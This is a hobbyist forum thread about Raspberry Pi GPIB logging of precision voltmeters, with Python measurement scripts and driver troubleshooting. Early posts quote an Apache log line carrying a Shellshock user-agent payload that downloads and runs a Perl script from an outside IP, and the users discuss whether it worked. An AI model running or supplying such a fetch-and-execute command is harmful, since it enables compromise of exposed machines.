Poll

Interested/Instrument/Interface

Yes,3458A,GPIB
17 (23.9%)
Yes,3458A,Prologix
10 (14.1%)
Yes,K2001/K2002,GPIB
11 (15.5%)
Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)
29 (40.8%)
Not interested, why?
4 (5.6%)

Total Members Voted: 49

Voting closed: December 13, 2016, 10:12:53 PM

Author Topic: Raspberry Pi2/3 logging platform for Voltnuts  (Read 12419 times)

0 Members and 1 Guest are viewing this topic.

Offline Dwaine

  • Regular Contributor
  • *
  • Posts: 108
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #225 on: January 04, 2017, 04:57:54 PM »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

 

Online FrankBuss

  • Supporter
  • ****
  • Posts: 1243
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #226 on: January 04, 2017, 07:14:28 PM »
Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:

Code: [Select]
wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhost

and the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.

If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.

And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.
quadro copter flying, electronics, retro computing and other geeky things: https://www.youtube.com/user/frankbuss/
 

Offline Dwaine

  • Regular Contributor
  • *
  • Posts: 108
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #227 on: January 05, 2017, 12:53:05 AM »
I saw the 200 code and wonder if it was really successful or not.  The rm command would of wiped out the perl script.  But testing like you did, proves it was not successful.

Greeezzzz....  These BOT people really ruin things on the Internet...

Dwaine

 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1172
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #228 on: January 07, 2017, 05:57:07 AM »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

Could originate from here
http://www.nothink.org/honeypot_web_user_agent.txt

/Bingo
 

Offline CalMachine

  • Regular Contributor
  • *
  • Posts: 90
  • Country: us
    • ENI Labs
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #229 on: January 07, 2017, 06:34:23 AM »
Here is my slightly tweaked code from the logging code that was provided.  Whenever I try to run the script, it only seems to work about half of the time... 

The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly.  It will just print out data taken over a certain amount of time, all at once. 

The other half it seems like it just gets hung up on the inst.write("ID?") for reason.   :scared:

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Code: [Select]
# Python script for logging 10V DC Standard on 3458A with automatic ACAL
import os.path
import sys
import Gpib
import time

# 3458A GPIB Address = 22
inst = Gpib.Gpib(0,22, timeout=120)
inst.clear() 
inst.write("ID?")
print(inst.read())

LogDir = '/pub/logs/'
LogFile= LogDir + 'LES289+175.csv'
##LogFile_ACAL= LogDir + '3458A_ACAL_DCV_Log.csv'

# Setup HP 3458A
inst.write("PRESET NORM")
inst.write("OFORMAT ASCII")
inst.write("NPLC 100")
inst.write("NRDGS 1")
inst.write("NDIG 9")
inst.write("TARM auto")
inst.write("DCV 10")
inst.write("RES 0.00000001")

# ACAL reference temperature
##ACAL_Temperature = 42.4
##ACAL_Counter = 0
# Perform ACAL if internal temperature differce is bigger than 1K
ACAL_Treshold = 1 # every 1 deg C
ACAL_TimeInterval = 86400 # every 24h=86400

reflevel = 9.9999479

ppm = 0
tRead = 1
##Last_ACAL_TimeStamp = 0
##TempMeasurement_Interval = 500

# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("TimeStamp,Voltage,Temperature,ppm\r\n")
    MeterLog.close()
   
# Check ACAL file presence, write header
##if (os.path.isfile(LogFile_ACAL) == False):
 ## with open(LogFile_ACAL, 'a') as ACALLog:
 ##   ACALLog.write("TimeStamp,DCV_Gain,Temperature\r\n")
 ##   ACALLog.close()
   
while True:
  with open(LogFile, 'a') as MeterLog:
    ##tRead = tRead - 1
    ##if (tRead == 0):
    ##  tRead = TempMeasurement_Interval
    ##  inst.write("TARM Autokr ")
   ##   inst.write("TEMP?")
   ##   Temperature = float(inst.read())
   ## if (abs(ACAL_Temperature - Temperature) >= ACAL_Treshold) or (time.time() - Last_ACAL_TimeStamp >= ACAL_TimeInterval):
   ##     print('Temperature or time difference since last ACAL is higher than set treshold %.1f C / %d s') %(float(ACAL_Treshold),ACAL_TimeInterval)
   ##     print('Since start ACAL performed %.0f times') %float(ACAL_Counter)
   ##     print('Performing ACAL DCV, it will takes 3 minutes')
   ##     ACAL_Counter+=1
   ##     inst.write("ACAL DCV")
   ##     Last_ACAL_TimeStamp = time.time()
   ##     time.sleep(180)
   ##     inst.write("CAL? 72")
   ##     DCV10Gain = float(inst.read())
   ##     ACAL_Temperature = Temperature
   ##     print("Internal Temperature = %2.1f")%float(Temperature)
   ##     print("10V Gain DCV = %.9f ")%DCV10Gain
   ##     with open(LogFile_ACAL, 'a') as ACALLog:
   ##       ACALLog.write (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.9f,%.2f\r\n" % (float(DCV10Gain),float(Temperature) ) ))
   ##       ACALLog.close()
   
    inst.write("trig sgl")
    time.sleep(10)
    standard10DCV = float(inst.read())
    ppm = ((standard10DCV / reflevel)-1)*1E6
    ##print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%d x ACAL\t%.8f\t%.3f ppm\t%.1f C") % (ACAL_Counter, float(data),float(ppm),float(Temperature) ) )
    print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%.10f\t%.3f ppm") % (float(data),float(ppm)) )
    MeterLog.write("I'm Getting ") + (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.8f,%.1f,%.3f\r\n" % (float(data),float(Temperature),float(ppm) ) ))
    MeterLog.close()
 

Online dr.diesel

  • Super Contributor
  • ***
  • Posts: 1826
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #230 on: January 07, 2017, 07:58:49 AM »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.
Beware of Siglent
You are ignoring [Rufus,dannyf,rob77,edavid,TheElectricChicken,wilfred] user. Show me the post.
 

Offline CalMachine

  • Regular Contributor
  • *
  • Posts: 90
  • Country: us
    • ENI Labs
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #231 on: January 07, 2017, 08:45:17 AM »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

ACAL is currently unsecured.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 2271
  • Country: tw
  • Volt-bolt
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #232 on: January 07, 2017, 12:43:26 PM »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.
xDevs.com | Have test gear documentation to share? Upload here! No size limits, firmware dumps and teardown photos welcome.
 

Offline CalMachine

  • Regular Contributor
  • *
  • Posts: 90
  • Country: us
    • ENI Labs
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #233 on: January 07, 2017, 01:44:53 PM »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.

When measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range.  It was weird... ndig wouldn't work for some reason.
I guess I just carried that command over to other functions to get the most resolution I could.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 2271
  • Country: tw
  • Volt-bolt
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #234 on: January 07, 2017, 01:56:21 PM »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).
xDevs.com | Have test gear documentation to share? Upload here! No size limits, firmware dumps and teardown photos welcome.
 

Offline CalMachine

  • Regular Contributor
  • *
  • Posts: 90
  • Country: us
    • ENI Labs
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #235 on: January 08, 2017, 07:30:46 AM »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).

Here is a snippet from the performance verification procedure.  I'm not sure the command is even necessary in my particular situation.  I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC.  I will take it out  :-+

"5. Configure the transfer standard DMM as follows:
-- ACV
-- SETACV SYNC
-- ACBAND 10,2E6
-- RANGE10
-- RES .001
-- TRIG SGL
-- LFILTER ON

6. Configure the DMM under test as follows:
-- ACV
-- SETACV ANA
-- ACBAND 10,2E6
-- RANGE10
-- RES .01
-- TRIG SGL
-- LFILTER ON"


Is there anyway I can see what is going on with the script and what command it is using, in real time?
« Last Edit: January 08, 2017, 07:58:32 AM by CalMachine »
 

Offline CalMachine

  • Regular Contributor
  • *
  • Posts: 90
  • Country: us
    • ENI Labs
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #236 on: January 09, 2017, 12:26:49 PM »
Finally got my script working the way I want it to :D    This script is for testing the nominal DCV performance of a 3458A using a Datron 4808.  It's been awhile since I really got to program anything, so I really enjoyed this a lot!  I will be doing many more scripts to automate tests in the near future.  I've provided a copy of the script below, please critique it and let me know what I can do better  :-+


Code: [Select]
# Python script for running DCV Performance Verification of a 3458A utilizing a Datron 4808 MFC (LES687)
import os.path
import sys
import Gpib
import time

# Constants (3458A Ranges)
DCV_Ranges = 5
ACV_Ranges = 6
DCI_Ranges = 8
ACI_Ranges = 5
OHMF_Ranges = 9
numberOfMeasurements = 25

# variables
measurementCounter = 0
DCVCounter = 0
rangeCounter = 0
currentMeasurement = 0
runningTotal = 0
measurementAvg = 0
ppm = 0


# 4808 DCV Reference Values
dcv_100uV_FullRange = 99.899869e-6
dcv_1mV_FullRange = 0.99999469e-3
dcv_10mV_FullRange = 9.9999889e-3
dcv_100mV_FullRange = 99.998759e-3
dcv_1V_FullRange = 0.99999699
dcv_10V_FullRange = 9.9999909
dcv_100V_FullRange = 99.999749
dcv_1000V_FullRange = 999.99969

# 3458A GPIB Address = 22
inst_3458A = Gpib.Gpib(0,22, timeout=30)

# 4808 GPIB Address = 20
inst_4808 = Gpib.Gpib(0,20, timeout=30)

# log file path and name
LogDir = '/pub/logs/'
LogFile= LogDir + '3458A_DCV_Performance.csv'


# Setup the 3458A to begin testing
inst_3458A.write("PRESET NORM")                     # commands the 3458a to preset state
inst_3458A.write("OFORMAT ASCII")
inst_3458A.write("NPLC 100")                        # commands the 3458a to 100 number power line cycles
inst_3458A.write("NDIG 8")                          # commands the 3458a to display 8.5 digits of resolution
inst_3458A.write("TARM HOLD")
inst_3458A.write("TRIG AUTO")
inst_3458A.write("AZERO ON")
inst_3458A.write("NRDGS 1,AUTO")
inst_3458A.write("MEM OFF")
inst_3458A.write("END ALWAYS")
inst_3458A.write("DELAY 0")
inst_3458A.write("LFILTER ON")

# Setup the 4808 to begin testing
inst_4808.write("o0=")                               # commands the 4808 to output OFF
inst_4808.write("h100=")                             # commands the 4808 to a frequency of 100 if necessary
inst_4808.write("m0=")                               # commands the 4808 to an output value of 0
inst_4808.write("f0=")                               # commands the 4808 to DCV function
inst_4808.write("r1=")                               # commands the 4808 to the 100 uV range


# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("3458A DCV Full Range Test\r\n")
    MeterLog.close()


# While loop to step through each DCV Range
while rangeCounter < DCV_Ranges:
    inst_3458A.write("DCV")                                         # commands the 3458A to DCV Function
    time.sleep(5)
    inst_4808.write("F0=")                                          # commands the 4808 to DCV Function
    time.sleep(5)

    # 100 mV range
    if rangeCounter == 0:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100e-3")                            # commands the 3458A to 100 mV range
        inst_4808.write("R4=")                                      # commands the 4808 to 100 mV Range
        inst_4808.write("M100e-3=")                                 # commands the 4808 to a value of 100 mV
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100mV_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 mV Range   : Nominal = %.10f Volts" %dcv_100mV_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1 V range
    elif rangeCounter == 1:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1")                                 # commands the 3458A to 1 V range
        inst_4808.write("R5=")                                      # commands the 4808 to 1 V Range
        inst_4808.write("M1=")                                      # commands the 4808 to a value of 1 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1V_FullRange)-1)*1E6                   # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1 V Range    : Nominal = %.10f Volts" %dcv_1V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 10 V range
    elif rangeCounter == 2:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 10")                                # commands the 3458A to 10 V range
        inst_4808.write("R6=")                                      # commands the 4808 to 10 V Range
        inst_4808.write("M10=")                                     # commands the 4808 to a value of 10 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(20)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_10V_FullRange)-1)*1E6                  # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 10 V Range   : Nominal = %.10f Volts" %dcv_10V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 100 V range
    elif rangeCounter == 3:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100")                               # commands the 3458A to 100 V range
        inst_4808.write("R7=")                                      # commands the 4808 to 100 V Range
        inst_4808.write("M100=")                                    # commands the 4808 to a value of 100 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100V_FullRange)-1)*1E6                 # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 V Range  : Nominal = %.10f Volts" %dcv_100V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1000 V range
    elif rangeCounter == 4:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1000")                              # commands the 3458A to 1000 V range
        inst_4808.write("R8=")                                      # commands the 4808 to 1000 V Range
        inst_4808.write("M1000=")                                   # commands the 4808 to a value of 1000 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(10)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1000V_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1000 V Range : Nominal = %.10f Volts" %dcv_1000V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0
           

# Opens LogFile and generates end of report statement
with open(LogFile, 'a') as MeterLog:
    MeterLog.write("End of Report! The time is : " + time.strftime("%d/%m/%Y-%H:%M:%S,\n"))
    MeterLog.close()
« Last Edit: January 09, 2017, 12:31:14 PM by CalMachine »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 2271
  • Country: tw
  • Volt-bolt
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #237 on: January 09, 2017, 09:16:39 PM »
I'd add two more steps

1. To null zero offset with short before going thru reading.
2. To run ACAL on 3458A prior to any measurements.
xDevs.com | Have test gear documentation to share? Upload here! No size limits, firmware dumps and teardown photos welcome.
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 1409
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #238 on: January 12, 2017, 07:59:58 AM »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.
VE7FM
 
The following users thanked this post: bingo600, dr.diesel, Assafl

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 859
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #239 on: January 12, 2017, 09:09:01 AM »
Thanks Steve for image. This week I should receive RPi 1 B+ for test.
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.
But this kernel works OK with E5810.

Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.
3D printed enclosure
http://www.thingiverse.com/thing:993349


Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.
H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.
Current version of algorithm has few issue, so it needs some fine tuning.

During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

« Last Edit: January 12, 2017, 09:50:35 AM by plesa »
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 859
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #240 on: January 12, 2017, 08:04:11 PM »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Image is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.
 

Online dr.diesel

  • Super Contributor
  • ***
  • Posts: 1826
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #241 on: January 13, 2017, 06:28:17 AM »
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.

So this is a kernel issue and not linux-gpib?  Reverting a kernel patch might be an easy solution if we knew more.
Beware of Siglent
You are ignoring [Rufus,dannyf,rob77,edavid,TheElectricChicken,wilfred] user. Show me the post.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1172
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #242 on: January 13, 2017, 08:29:02 AM »
During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Where did you get the GPIB connectors for ribbon , what did they cost ?

/Bingo
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1172
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #243 on: January 13, 2017, 08:38:42 AM »
Maybe we should switch to Odroid for the logging platform.

The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buy

C1
http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html


C2
http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.html


I used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.
But now the bad kernel stuff seems to be the weakness.

The Odroid is super performing HW , beats a Rpi any day.
But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4


Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..
It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.


I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.

I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice.

/Bingo
« Last Edit: January 13, 2017, 08:44:41 AM by bingo600 »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 313
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #244 on: January 13, 2017, 10:26:44 AM »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Tried on rpi2 - it won't boot. Stuck in the colorful box display.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1172
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #245 on: January 14, 2017, 12:32:39 AM »
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo
 
The following users thanked this post: Assafl

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 313
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #246 on: January 15, 2017, 09:28:37 PM »
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo

Duh  :palm: Just reread TheSteve's post and saw it was v1...
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 68
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #247 on: January 15, 2017, 09:39:11 PM »
While looking for python GPIB examples, I came across PyMeasure.
It has a neat concept of having different classes for different equipments.
 

Offline BFX

  • Regular Contributor
  • *
  • Posts: 194
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #248 on: January 16, 2017, 01:32:50 AM »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 2271
  • Country: tw
  • Volt-bolt
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #249 on: January 16, 2017, 01:35:32 AM »
Meow.

Quote
[email protected]:/repo/linux-gpib/linux-gpib-code/linux-gpib# uname -a
Linux rpi3.xdevs.com 4.4.34-v7+ #930 SMP Wed Nov 23 15:20:41 GMT 2016 armv7l GNU/Linux

[email protected]:/repo/linux-gpib/linux-gpib-code/linux-gpib# lsusb
Bus 001 Device 006: ID 0957:0718 Agilent Technologies, Inc.

enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'KEITHLEY INSTRUMENTS INC.,MODEL 2001M,0579220,B17  /A01'
Number of bytes read: 58
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcnt = 58

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
